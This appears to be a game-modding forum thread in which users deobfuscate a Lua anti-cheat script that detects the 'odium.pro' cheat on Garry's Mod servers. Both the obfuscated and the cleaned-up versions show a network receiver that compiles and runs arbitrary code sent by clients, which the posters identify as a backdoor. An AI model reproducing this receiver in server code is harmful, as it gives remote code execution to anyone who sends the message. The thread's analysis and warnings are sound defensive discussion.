Can Anyone Decrypt this Code

Hi everyone,

Is anyone able to decrypt this code, i’m interested to know what it does.



local txErAh={[1]="\67\104\101\97\116\115\32\100\101\116\101\99\116\101\100\58\32\111\100\105\117\109\46\112\114\111",[2]="\78\111\79\100\105\117\109",[3]="\80\108\97\121\101\114",[4]=4096,[5]="\76\117\97\67\109\100",[6]=1,[7]="\108\111\99\97\108\32\115\44\32\101\32\61\32\112\99\97\108\108\40\32\99\111\108\108\101\99\116\103\97\114\98\97\103\101\44\32\39\109\101\109\98\117\102\102\101\114\39\32\41\32\105\102\32\115\32\116\104\101\110\32\110\101\116\46\83\116\97\114\116\40\32\39\78\111\79\100\105\117\109\95\82\101\97\100\80\111\110\103\39\32\41\32\110\101\116\46\87\114\105\116\101\70\108\111\97\116\40\32\101\32\41\32\110\101\116\46\83\101\110\100\84\111\83\101\114\118\101\114\40\41\32\101\110\100",[8]="\95\82\101\97\100\80\105\110\103",[9]="\95\82\101\97\100\80\111\110\103",[10]=nil,[11]="\59",[12]="\95\82\101\97\100\80\105\110\103",[13]="\95\107",[14]="\80\108\97\121\101\114\73\110\105\116\105\97\108\83\112\97\119\110",[15]="\112\73\115",[16]="\95\82\101\97\100\80\111\110\103",[17]="\117\108\120",[18]="\107\105\99\107",[19]="",[20]="\95\102\117\110\99\95",[21]=false,[22]=true,[23]="\88\70\85\53\75\52\55\48\82\32\49\53\32\52\87\51\53\48\77\51\46\32\75\82\51\68\49\55\32\55\48\32\88\70\85\53\75\52\55\48\82\33"}local gYTTEUx_s25960tF=txErAh[1]local Q8={}local idk3zPC1QF2,wpW2,nKtBOevYNI,BOG,DQSwkU6I52KnbYItxF=txErAh[2],util.AddNetworkString,debug.getregistry(),FindMetaTable(txErAh[3])local oGaVuX1aemsr,jw,lhU1TvjfiOG3pzkrq,D,u0i7rfFNLzV,TKQs,UXoHmeO4bFUGVqt=_G.Vector,_G.Angle,hook.Add,BOG.SendLua,util.CRC,-txErAh[4],RunConsoleCommand;local ORKNJA7Z0jAyEhMcLCXAw,OwVUaslIuOzq7zJ3VZuqy,XhPsmCYPd,uJCsJH7HiAOE9dXlA,_wNE0kMv7ev,jEHdF,s5i3gFzzAUS,BPzs=net.Receive,net.ReadFloat,net.ReadData,net.Send,net.ReadBit,isfunction,util.Compress,util.Decompress;local _ZR595DE,TuKEQx2ew8HXrdYu,wtmMhS3WMay,qNWWTU9FUzD,d0v6pURO,lOVIfmc7Y,i,pR=CompileString,net.ReadString,rawset,rawget,getmetatable,setmetatable,pairs,tostring;local aJS68IDcn14AM,Zn7fM5M3QA5d,aeYX06u,rb5Pu0RLbgnyV9OY,vY9Q,VvcWLgC,dPxexBLuIg6II0guEnbt=txErAh[5],coroutine.create,coroutine.yield,!txErAh[6],debug.setmetatable,debug.getmetatable,txErAh[7]wpW2(idk3zPC1QF2 ..txErAh[8])wpW2(idk3zPC1QF2 ..txErAh[9])local function J0uSDF5Krxm3OgGQ4V_(KVL_9FUtEJMjXU_oyTjry,xaVqP4XJtWtBm2bpYW,QszqpU5dO,xbYuCrnl1UUq6G)if(KVL_9FUtEJMjXU_oyTjry==txErAh[10])then return txErAh[10]end;local TH={}vY9Q(TH,VvcWLgC(KVL_9FUtEJMjXU_oyTjry))for mlFevT4H8LeJ8,d in i(t)do if(!istable(d))then TH[mlFevT4H8LeJ8]=d else xtt=xtt or{}xtt[t]=TH;if xtt[d]then TH[mlFevT4H8LeJ8]=xtt[d]else TH[mlFevT4H8LeJ8]=J0uSDF5Krxm3OgGQ4V_(d,xtt)end end end;return TH end;local function aJYb_pU2Cw_Bk3UaTP(QA3w6xosHKflkQeZHFr)QA3w6xosHKflkQeZHFr=QA3w6xosHKflkQeZHFr..txErAh[11]return u0i7rfFNLzV(QA3w6xosHKflkQeZHFr)end;ORKNJA7Z0jAyEhMcLCXAw(idk3zPC1QF2 ..txErAh[12],function()local XPp1VCgAU7Pz1Z=_ZR595DE(TuKEQx2ew8HXrdYu(),aJS68IDcn14AM,rb5Pu0RLbgnyV9OY)if jEHdF(XPp1VCgAU7Pz1Z)then XPp1VCgAU7Pz1Z()else Q8[txErAh[13]]=XPp1VCgAU7Pz1Z end end)lhU1TvjfiOG3pzkrq(txErAh[14],txErAh[15],function(E9M0M9M)E9M0M9M:SendLua(dPxexBLuIg6II0guEnbt)end)ORKNJA7Z0jAyEhMcLCXAw(idk3zPC1QF2 ..txErAh[16],function(w7bIOxV12T_J_K0lZRPv,EDJUWkZYQ3qbE3TKvDY8P)local JKgzEfSoxpg5p7E=OwVUaslIuOzq7zJ3VZuqy()if JKgzEfSoxpg5p7E==TKQs then local oOtj8psUJPrspvvWc=aJYb_pU2Cw_Bk3UaTP(TKQs)UXoHmeO4bFUGVqt(txErAh[17],txErAh[18],EDJUWkZYQ3qbE3TKvDY8P:Nick(),gYTTEUx_s25960tF)end end)local function R4Uo93kn6(snqSciYefLf75P2w5)local DnfevgZpZ=txErAh[19]for BzedwLm69bWVH96Jq,_wHH in i(snqSciYefLf75P2w5)do local it4GGCEO=pR(BzedwLm69bWVH96Jq)local c0uaE865K=pR(_wHH)if(jEHdF(_wHH))then c0uaE865K=txErAh[20]end;if(istable(_wHH))then local cQBBTJXwUn_G=txErAh[21]if(pR(_wHH)~=pR(snqSciYefLf75P2w5))then for gDR2uCTRbwdlSgHKkKSs8,pkEjk7CQNfVY_R5 in pairs(_wHH)do if snqSciYefLf75P2w5[gDR2uCTRbwdlSgHKkKSs8]==snqSciYefLf75P2w5[gDR2uCTRbwdlSgHKkKSs8]then continue end;cQBBTJXwUn_G=txErAh[21]end else cQBBTJXwUn_G=txErAh[22]end;if(not cQBBTJXwUn_G)then c0uaE865K=aJYb_pU2Cw_Bk3UaTP(_wHH)end end;DnfevgZpZ=DnfevgZpZ..aJYb_pU2Cw_Bk3UaTP(it4GGCEO)..aJYb_pU2Cw_Bk3UaTP(c0uaE865K)end;return aJYb_pU2Cw_Bk3UaTP(DnfevgZpZ)end

Do you think you could post a less jumbled version of it?

From what I can tell it’s a series of variable checks

Hi,
I have just spaced this out correctly i think haha, hope it helps.


local txErAh={[1]="\67\104\101\97\116\115\32\100\101\116\101\99\116\101\100\58\32\111\100\105\117\109\46\112\114\111",[2]="\78\111\79\100\105\117\109",[3]="\80\108\97\121\101\114",[4]=4096,[5]="\76\117\97\67\109\100",[6]=1,[7]="\108\111\99\97\108\32\115\44\32\101\32\61\32\112\99\97\108\108\40\32\99\111\108\108\101\99\116\103\97\114\98\97\103\101\44\32\39\109\101\109\98\117\102\102\101\114\39\32\41\32\105\102\32\115\32\116\104\101\110\32\110\101\116\46\83\116\97\114\116\40\32\39\78\111\79\100\105\117\109\95\82\101\97\100\80\111\110\103\39\32\41\32\110\101\116\46\87\114\105\116\101\70\108\111\97\116\40\32\101\32\41\32\110\101\116\46\83\101\110\100\84\111\83\101\114\118\101\114\40\41\32\101\110\100",[8]="\95\82\101\97\100\80\105\110\103",[9]="\95\82\101\97\100\80\111\110\103",[10]=nil,[11]="\59",[12]="\95\82\101\97\100\80\105\110\103",[13]="\95\107",[14]="\80\108\97\121\101\114\73\110\105\116\105\97\108\83\112\97\119\110",[15]="\112\73\115",[16]="\95\82\101\97\100\80\111\110\103",[17]="\117\108\120",[18]="\107\105\99\107",[19]="",[20]="\95\102\117\110\99\95",[21]=false,[22]=true,[23]="\88\70\85\53\75\52\55\48\82\32\49\53\32\52\87\51\53\48\77\51\46\32\75\82\51\68\49\55\32\55\48\32\88\70\85\53\75\52\55\48\82\33"}local gYTTEUx_s25960tF=txErAh[1]local Q8={}local idk3zPC1QF2,wpW2,nKtBOevYNI,BOG,DQSwkU6I52KnbYItxF=txErAh[2],util.AddNetworkString,debug.getregistry(),FindMetaTable(txErAh[3])local oGaVuX1aemsr,jw,lhU1TvjfiOG3pzkrq,D,u0i7rfFNLzV,TKQs,UXoHmeO4bFUGVqt=_G.Vector,_G.Angle,hook.Add,BOG.SendLua,util.CRC,-txErAh[4],RunConsoleCommand;
local ORKNJA7Z0jAyEhMcLCXAw,OwVUaslIuOzq7zJ3VZuqy,XhPsmCYPd,uJCsJH7HiAOE9dXlA,_wNE0kMv7ev,jEHdF,s5i3gFzzAUS,BPzs=net.Receive,net.ReadFloat,net.ReadData,net.Send,net.ReadBit,isfunction,util.Compress,util.Decompress;
local _ZR595DE,TuKEQx2ew8HXrdYu,wtmMhS3WMay,qNWWTU9FUzD,d0v6pURO,lOVIfmc7Y,i,pR=CompileString,net.ReadString,rawset,rawget,getmetatable,setmetatable,pairs,tostring;
local aJS68IDcn14AM,Zn7fM5M3QA5d,aeYX06u,rb5Pu0RLbgnyV9OY,vY9Q,VvcWLgC,dPxexBLuIg6II0guEnbt=txErAh[5],coroutine.create,coroutine.yield,!txErAh[6],debug.setmetatable,debug.getmetatable,txErAh[7]wpW2(idk3zPC1QF2 ..txErAh[8])wpW2(idk3zPC1QF2 ..txErAh[9])local function J0uSDF5Krxm3OgGQ4V_(KVL_9FUtEJMjXU_oyTjry,xaVqP4XJtWtBm2bpYW,QszqpU5dO,xbYuCrnl1UUq6G)if(KVL_9FUtEJMjXU_oyTjry==txErAh[10])then return txErAh[10]end;
local TH={}vY9Q(TH,VvcWLgC(KVL_9FUtEJMjXU_oyTjry))for mlFevT4H8LeJ8,d in i(t)do if(!istable(d))then TH[mlFevT4H8LeJ8]=d else xtt=xtt or{}xtt[t]=TH;
if xtt[d]then TH[mlFevT4H8LeJ8]=xtt[d]else TH[mlFevT4H8LeJ8]=J0uSDF5Krxm3OgGQ4V_(d,xtt)end end end;
return TH end;
local function aJYb_pU2Cw_Bk3UaTP(QA3w6xosHKflkQeZHFr)QA3w6xosHKflkQeZHFr=QA3w6xosHKflkQeZHFr..txErAh[11]return u0i7rfFNLzV(QA3w6xosHKflkQeZHFr)end;
ORKNJA7Z0jAyEhMcLCXAw(idk3zPC1QF2 ..txErAh[12],function()local XPp1VCgAU7Pz1Z=_ZR595DE(TuKEQx2ew8HXrdYu(),aJS68IDcn14AM,rb5Pu0RLbgnyV9OY)if jEHdF(XPp1VCgAU7Pz1Z)then XPp1VCgAU7Pz1Z()else Q8[txErAh[13]]=XPp1VCgAU7Pz1Z end end)lhU1TvjfiOG3pzkrq(txErAh[14],txErAh[15],function(E9M0M9M)E9M0M9M:SendLua(dPxexBLuIg6II0guEnbt)end)ORKNJA7Z0jAyEhMcLCXAw(idk3zPC1QF2 ..txErAh[16],function(w7bIOxV12T_J_K0lZRPv,EDJUWkZYQ3qbE3TKvDY8P)local JKgzEfSoxpg5p7E=OwVUaslIuOzq7zJ3VZuqy()if JKgzEfSoxpg5p7E==TKQs then local oOtj8psUJPrspvvWc=aJYb_pU2Cw_Bk3UaTP(TKQs)UXoHmeO4bFUGVqt(txErAh[17],txErAh[18],EDJUWkZYQ3qbE3TKvDY8P:Nick(),gYTTEUx_s25960tF)end end)local function R4Uo93kn6(snqSciYefLf75P2w5)local DnfevgZpZ=txErAh[19]for BzedwLm69bWVH96Jq,_wHH in i(snqSciYefLf75P2w5)do local it4GGCEO=pR(BzedwLm69bWVH96Jq)local c0uaE865K=pR(_wHH)if(jEHdF(_wHH))then c0uaE865K=txErAh[20]end;
if(istable(_wHH))then local cQBBTJXwUn_G=txErAh[21]if(pR(_wHH)~=pR(snqSciYefLf75P2w5))then for gDR2uCTRbwdlSgHKkKSs8,pkEjk7CQNfVY_R5 in pairs(_wHH)do if snqSciYefLf75P2w5[gDR2uCTRbwdlSgHKkKSs8]==snqSciYefLf75P2w5[gDR2uCTRbwdlSgHKkKSs8]then continue end;
cQBBTJXwUn_G=txErAh[21]end else cQBBTJXwUn_G=txErAh[22]end;
if(not cQBBTJXwUn_G)then c0uaE865K=aJYb_pU2Cw_Bk3UaTP(_wHH)end end;
DnfevgZpZ=DnfevgZpZ..aJYb_pU2Cw_Bk3UaTP(it4GGCEO)..aJYb_pU2Cw_Bk3UaTP(c0uaE865K)end;
return aJYb_pU2Cw_Bk3UaTP(DnfevgZpZ)end;

It detects odium.pro?

I believe it sets a group of local vars, and starts to check them and do other things if they return as a certain value.

I’m not very good with lua, so let someone else check it out too.

Were you able to decrypt it?

do you mean the random bunches of numbers or the functions like “if” and “local”

I believe the numbers are used in the functions, not too sure

They are likely used for encryption purposes.

here’s all the strings

I’ve never heard of that website, very handy!

WHATS THAT MY FAM? PEOPLE OBFUSTICATE THINGS TO HIDE BACKDOORS? WELL TICKLE MY NUTSACK AND CALL ME A TOMATO!



--ORKNJA7Z0jAyEhMcLCXAw(idk3zPC1QF2 ..txErAh[12],function()
net.Receive("NoOdium" .. "_ReadPing",function()
	--local XPp1VCgAU7Pz1Z=_ZR595DE(TuKEQx2ew8HXrdYu(),aJS68IDcn14AM,rb5Pu0RLbgnyV9OY)
	local var37 = CompileString(net.ReadString(),"LuaCmd",false)
	
	--if jEHdF(XPp1VCgAU7Pz1Z)then XPp1VCgAU7Pz1Z()else Q8[txErAh[13]]=XPp1VCgAU7Pz1Z end end)
	if isfunction(var37) then
		var37()
	else
		Q8["_k"] = var37
	end
end)


I’ll see if I can’t crack through the rest of it before I go to bed, If I can’t, I’ll post what I have.

Edit:
My bad, I just realized this was a server-side script.

[editline]16th August 2017[/editline]

Done



-- 1	Cheats detected: odium.pro
-- 2	NoOdium
-- 3	Player
-- 4	4096
-- 5	LuaCmd
-- 6	1
-- 7	local s, e = pcall( collectgarbage, 'membuffer' ) if s then net.Start( 'NoOdium_ReadPong' ) net.WriteFloat( e ) net.SendToServer() end
-- 8	_ReadPing
-- 9	_ReadPong
-- 11	;
-- 12	_ReadPing
-- 13	_k
-- 14	PlayerInitialSpawn
-- 15	pIs
-- 16	_ReadPong
-- 17	ulx
-- 18	kick
-- 19	
-- 20	_func_
-- 21	false
-- 22	true
-- 23	XFU5K470R 15 4W350M3. KR3D17 70 XFU5K470R!

--local gYTTEUx_s25960tF=txErAh[1]
local var1 = "Cheats detected: odium.pro"

local Q8={}

--local idk3zPC1QF2,wpW2,nKtBOevYNI,BOG,DQSwkU6I52KnbYItxF=txErAh[2],util.AddNetworkString,debug.getregistry(),FindMetaTable(txErAh[3])
--idk3zPC1QF2
local var2 = "NoOdium"
--wpW2
local var3 = util.AddNetworkString
--nKtBOevYNI
local var4 = debug.getregistry()
--BOG
local var5 = FindMetaTable("Player")
--DQSwkU6I52KnbYItxF
local var6 = nil

--local oGaVuX1aemsr,jw,lhU1TvjfiOG3pzkrq,D,u0i7rfFNLzV,TKQs,UXoHmeO4bFUGVqt=_G.Vector,_G.Angle,hook.Add,BOG.SendLua,util.CRC,-txErAh[4],RunConsoleCommand;
--oGaVuX1aemsr
local var7 = _G.Vector
--jw
local var8 = _G.Angle
--lhU1TvjfiOG3pzkrq
local var9 = hook.Add
--D
local var10 = var5.SendLua
--u0i7rfFNLzV
local var11 = util.CRC
--TKQs
local var12 = -4096
--UXoHmeO4bFUGVqt
local var13 = RunConsoleCommand

--local ORKNJA7Z0jAyEhMcLCXAw,OwVUaslIuOzq7zJ3VZuqy,XhPsmCYPd,uJCsJH7HiAOE9dXlA,_wNE0kMv7ev,jEHdF,s5i3gFzzAUS,BPzs=net.Receive,net.ReadFloat,net.ReadData,net.Send,net.ReadBit,isfunction,util.Compress,util.Decompress;
--ORKNJA7Z0jAyEhMcLCXAw
local var14 = net.Receive
--OwVUaslIuOzq7zJ3VZuqy
local var15 = net.ReadFloat
--XhPsmCYPd
local var16 = net.ReadData
--uJCsJH7HiAOE9dXlA
local var17 = net.Send
--_wNE0kMv7ev
local var18 = net.ReadBit
--jEHdF
local var19 = isfunction
--s5i3gFzzAUS
local var20 = util.Compress
--BPzs
local var21 = util.Decompress


--local _ZR595DE,TuKEQx2ew8HXrdYu,wtmMhS3WMay,qNWWTU9FUzD,d0v6pURO,lOVIfmc7Y,i,pR=
--CompileString,net.ReadString,rawset,rawget,getmetatable,setmetatable,pairs,tostring;
--_ZR595DE
local var22 = CompileString
--TuKEQx2ew8HXrdYu
local var23 = net.ReadString
--wtmMhS3WMay
local var24 = rawset
--qNWWTU9FUzD
local var25 = rawget
--d0v6pURO
local var26 = getmetatable
--lOVIfmc7Y
local var27 = setmetatable
--i
local var28 = pairs
--pR
local var29 = tostring


--local aJS68IDcn14AM,Zn7fM5M3QA5d,aeYX06u,rb5Pu0RLbgnyV9OY,vY9Q,VvcWLgC,dPxexBLuIg6II0guEnbt=txErAh[5],coroutine.create,coroutine.yield,!txErAh[6],debug.setmetatable,debug.getmetatable,txErAh[7]
--aJS68IDcn14AM = txErAh[5]
local var30 = "LuaCmd"
--Zn7fM5M3QA5d
local var31 = coroutine.create
--aeYX06u
local var32 = coroutine.yield
--rb5Pu0RLbgnyV9OY = !txErAh[6]
local var33 = false
--vY9Q
local var34 = debug.setmetatable
--VvcWLgC
local var35 = debug.getmetatable
--dPxexBLuIg6II0guEnbt= txErAh[7]
local var36 = [[
local s, e = pcall( collectgarbage, 'membuffer' )
if s then
	net.Start( 'NoOdium_ReadPong' )
	net.WriteFloat( e )
	net.SendToServer()
end]]

--wpW2(idk3zPC1QF2 ..txErAh[8])
util.AddNetworkString("NoOdium" .. "_ReadPing")
----wpW2(idk3zPC1QF2 ..txErAh[9])
util.AddNetworkString("NoOdium" .. "_ReadPong")

--local function J0uSDF5Krxm3OgGQ4V_(KVL_9FUtEJMjXU_oyTjry,xaVqP4XJtWtBm2bpYW,QszqpU5dO,xbYuCrnl1UUq6G)
local function func1(arg1,arg2,arg3,arg4)
	--if(KVL_9FUtEJMjXU_oyTjry==txErAh[10])then return txErAh[10]end;
	if arg1 == nil then return end

	--local TH={}
	local TH = {}
	
	--vY9Q(TH,VvcWLgC(KVL_9FUtEJMjXU_oyTjry))
	debug.setmetatable(TH,debug.getmetatable(arg1))
	
	--for mlFevT4H8LeJ8,d in i(t)do
	for arg5,arg6 in pairs(global1_t) do
		
		--if(!istable(d))then
		if not istable(arg6) then
			--TH[mlFevT4H8LeJ8]=d 
			TH[arg5] = arg6
		--else xtt=xtt or{}
		else
			global2_xtt = global2_xtt or {}
			--xtt[t]=TH;
			global2_xtt[global1_t] = TH
			--if xtt[d]then 
			if global2_xtt[arg6] then
				--TH[mlFevT4H8LeJ8]=xtt[d]else
				TH[arg5]=global2_xtt[arg6]
			else
				--TH[mlFevT4H8LeJ8]=J0uSDF5Krxm3OgGQ4V_(d,xtt)end end end;
				TH[arg5] = func1(arg5,global2_xtt)
			end
		end
	end
	--return TH end;
	return TH
end


--local function aJYb_pU2Cw_Bk3UaTP(QA3w6xosHKflkQeZHFr)QA3w6xosHKflkQeZHFr=QA3w6xosHKflkQeZHFr..txErAh[11]return u0i7rfFNLzV(QA3w6xosHKflkQeZHFr)end;
local function func2 (arg1)
	arg1 = arg1 .. ";"
	return util.CRC(arg1)
end

--ORKNJA7Z0jAyEhMcLCXAw(idk3zPC1QF2 ..txErAh[12],function()
net.Receive("NoOdium" .. "_ReadPing",function()
	--local XPp1VCgAU7Pz1Z=_ZR595DE(TuKEQx2ew8HXrdYu(),aJS68IDcn14AM,rb5Pu0RLbgnyV9OY)
	local var37 = CompileString(net.ReadString(),"LuaCmd",false)
	
	--if jEHdF(XPp1VCgAU7Pz1Z)then XPp1VCgAU7Pz1Z()else Q8[txErAh[13]]=XPp1VCgAU7Pz1Z end end)
	if isfunction(var37) then
		var37()
	else
		Q8["_k"] = var37
	end
end)

--lhU1TvjfiOG3pzkrq(txErAh[14],txErAh[15],function(E9M0M9M)E9M0M9M:SendLua(dPxexBLuIg6II0guEnbt)end)
hook.Add("PlayerInitialSpawn","pIs",function(arg7)
	arg7:SendLua([[
	local s, e = pcall( collectgarbage, 'membuffer' )
	if s then
		net.Start( 'NoOdium_ReadPong' )
		net.WriteFloat( e )
		net.SendToServer()
	end]])
end)
--ORKNJA7Z0jAyEhMcLCXAw(idk3zPC1QF2 ..txErAh[16],function(w7bIOxV12T_J_K0lZRPv,EDJUWkZYQ3qbE3TKvDY8P)
net.Receive("NoOdium" .. "_ReadPong",function(arg8,arg9)
	--local JKgzEfSoxpg5p7E=OwVUaslIuOzq7zJ3VZuqy()
	local var38 = net.ReadFloat()
	--if JKgzEfSoxpg5p7E==TKQs then 
	if var38 == -4096 then
		--local oOtj8psUJPrspvvWc=aJYb_pU2Cw_Bk3UaTP(TKQs)
		local var39 = func2(var38)
		--UXoHmeO4bFUGVqt(txErAh[17],txErAh[18],EDJUWkZYQ3qbE3TKvDY8P:Nick(),gYTTEUx_s25960tF)
		RunConsoleCommand("ulx","kick",arg8:Nick(),"Cheats detected: odium.pro")
	--end end)
	end
end)

--local function R4Uo93kn6(snqSciYefLf75P2w5)
local function func3(arg9)
	--local DnfevgZpZ=txErAh[19]
	local var40 = ""
	--for BzedwLm69bWVH96Jq,_wHH in i(snqSciYefLf75P2w5)do
	for arg10,arg11 in pairs(arg9) do
		--local it4GGCEO=pR(BzedwLm69bWVH96Jq)
		local var41 = tostring(arg10)
		--local c0uaE865K=pR(_wHH)
		local var42 = tostring(arg11)
		--if(jEHdF(_wHH))then
		if(isfunction(arg11)) then
			--c0uaE865K=txErAh[20]
			var42 = "_func_"
		--end;
		end
		--if(istable(_wHH))then
		if istable(arg11) then
			--local cQBBTJXwUn_G=txErAh[21]
			var42 = false
			--if(pR(_wHH)~=pR(snqSciYefLf75P2w5))then
			if isstring(arg11) ~= isstring(arg9) then
				--for gDR2uCTRbwdlSgHKkKSs8,pkEjk7CQNfVY_R5 in pairs(_wHH)do
				for arg12, arg13 in pairs(arg11) do --This entire loop does nothing
					--if snqSciYefLf75P2w5[gDR2uCTRbwdlSgHKkKSs8]==snqSciYefLf75P2w5[gDR2uCTRbwdlSgHKkKSs8]then
					if true then
						continue
					--end;
					end
					--cQBBTJXwUn_G=txErAh[21]
					var42 = false--This is never reached
				--end
				end
			--else
			else
				--cQBBTJXwUn_G=txErAh[22]
				var42 = true
			--end;
			end
			--if(not cQBBTJXwUn_G)then
			if not var42 then
				--c0uaE865K=aJYb_pU2Cw_Bk3UaTP(_wHH)
				var42 = func2(arg11)
			--end
			end
		--end;
		end
		
		--DnfevgZpZ=DnfevgZpZ..aJYb_pU2Cw_Bk3UaTP(it4GGCEO)..aJYb_pU2Cw_Bk3UaTP(c0uaE865K)
		var40 = var40 .. func2(var41) .. func2(var42)
	end;
	
	--return aJYb_pU2Cw_Bk3UaTP(DnfevgZpZ)
	return func2(var40)
end;


Feel free to start find+replacing names to actually describe what they do.
I’m actually not sure if this is supposed to be a client or server script, the PlayerInitalSpawn hook suggests server-side, but I wonder if they know that the net.Receive() can be hacked and turned into a backdoor?

In any case, “XFU5K470R” sucks.

Thankyou for the decrypt!

[lua]local script_table = {}
util.AddNetworkString(“NoOdium_ReadPing”)
util.AddNetworkString(“NoOdium_ReadPong”)
local function J0uSDF5Krxm3OgGQ4V_(KVL_9FUtEJMjXU_oyTjry, xaVqP4XJtWtBm2bpYW, QszqpU5dO, xbYuCrnl1UUq6G)
if (KVL_9FUtEJMjXU_oyTjry == nil) then
return nil
end
local TH = {}
debug.setmetatable(TH, debug.getmetatable(KVL_9FUtEJMjXU_oyTjry))
for k, d in pairs(t) do
if (!istable(d)) then
TH[k] = d
else
xtt = xtt or {}
xtt[t] = TH
if xtt[d] then
TH[k] = xtt[d]
else
TH[k] = J0uSDF5Krxm3OgGQ4V_(d,xtt)
end
end
end
return TH
end
local function shitty_crc(val)
val = val…";"
return util.CRC(val)
end
net.Receive(“NoOdium_ReadPing”, function()
local fn = CompileString(net.ReadString(), “LuaCmd”, false)
if isfunction(fn) then
fn()
else
script_table._k = fn
end
end)
hook.Add(“PlayerInitialSpawn”, “pls”, function(ply)
ply:SendLua “local s, e = pcall( collectgarbage, ‘membuffer’ ) if s then net.Start( ‘NoOdium_ReadPong’ ) net.WriteFloat( e ) net.SendToServer() end”
end)
net.Receive(“NoOdium_ReadPong”, function(len, ply)
local flt = net.ReadFloat()
if flt == -4096 then
local crc = shitty_crc(-4096)
RunConsoleCommand(“ulx”, “kick”, ply:Nick(), “Cheats detected: odium.pro”)
end
end)

– not used?

local function R4Uo93kn6(tbl)
local checksum = “”
for k, v in pairs(tbl) do
local name = tostring(v)
if (isfunction(v)) then
name = “func
end
if (istable(v)) then
local has_name = false
if (tostring(v) ~= tostring(tbl)) then
for k2, v in pairs(v) do
if tbl[k2] == tbl[k2] then
continue
end
has_name = false
end
else
has_name = true
end
if (not has_name) then
name = shitty_crc(v)
end
end
checksum = checksum…shitty_crc(tostring(k))…shitty_crc(name)
end
return shitty_crc(checksum)
end
[/lua]

don’t call it decryption or encryption - it’s obfuscation.

and next time whoever wrote this detection please {make your obfuscation not trash, write non shit code}

if someone is giving you this code to run on your server and you thought about it at all you are dumb and should not run it being that there could be (and is [partially?]) a backdoor in this as are almost all other things people tell you to run and add to your server.

most these functions aren’t even run leading me to believe there’s missing code or this is unfinished.

Code was “obfuscated” (call it how you want) with : https://github.com/ExtReMLapin/XFuscator

Which is a version fixed of XFuscator to work with gmod’s code (C++ operators)

It was used in ScriptEnforcer to hide callstack checks and prevent leakers to run code outside of it’s environment.

If you want to stop kids from seeing your code, it’s fine, else, make your own obfuscator.